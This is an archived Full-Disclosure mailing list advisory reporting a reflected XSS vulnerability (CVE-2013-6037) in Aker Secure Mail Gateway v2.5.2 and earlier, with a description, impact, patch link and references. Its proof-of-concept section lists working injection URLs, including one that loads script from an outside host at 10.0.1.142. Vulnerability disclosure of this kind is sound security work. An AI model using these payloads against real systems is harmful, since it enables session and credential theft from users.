full-disclosure - XSS in url for access of Confirmation Required in box for antispam from company AKER (CVE-2013-6037)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CAOmMdVuWYksfHK08HBiZpxbFTGH6LX7hxTyiYDVSFjXSi1kKLg@mail.gmail.com>
Date: Thu, 6 Mar 2014 17:58:30 -0300
From: William Costa <william.costa@...il.com>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: XSS in url for access of Confirmation Required in
 box for antispam from company AKER (CVE-2013-6037)

XSS in url for access of Confirmation Required in box for antispam from
company AKER (CVE-2013-6037)

I. VULNERABILITY
-------------------------
Reflected XSS vulnerabilities in AKER SECURE MAIL GATEWAY <= v2.5.2

II. BACKGROUND
-------------------------
The Aker Secure Mail Gateway is a complete platform security e-mail

III. DESCRIPTION
-------------------------
Has been detected a reflected XSS vulnerability in Aker Secure Mail Gateway
<=2.5.2 , that allows the execution of arbitrary HTML/script code to be
executed in the context of the victim user's browser.
The code injection is done through the parameter "msg_id" and "content" in
the page index.php.


IV. PROOF OF CONCEPT
-------------------------
The application does not validate the double encoding of the "msg_id"
parameter correctly. Malicious Request ("msg_id")
http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script>alert(String(/XSS/).substr(1,6)
); </script>
Vulnerable:
http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><script
src=http://10.0.1.142:5005/xook.js></script>
Vulnerable:
http://vulnerablesite.com/webgui/cf/index.php?msg_id=89f52f83bdhhygaabdbayudefcff654abb2f097777/><iframe
src=http://www.google.com> </iframe>


V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Aker Secure Mail Gateway <= v2.5.2

VII. SOLUTION
-------------------------
http://download.aker.com.br/prod/current/atualizacoes/aker-secure-mail-gateway-2.5/patch-2/akersecuremailgateway-2.5-pt-box-patch-002-hotfix-023-0002.akp

References

    http://www.kb.cert.org/vuls/id/687278
    http://www.aker.com.br/
    http://www.aker.com.br/produtos/aker-secure-mail-gateway
    http://www.aker.com.br/atualizacoes-asmg?field_tipo_value=All

By Wiliam Costa

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/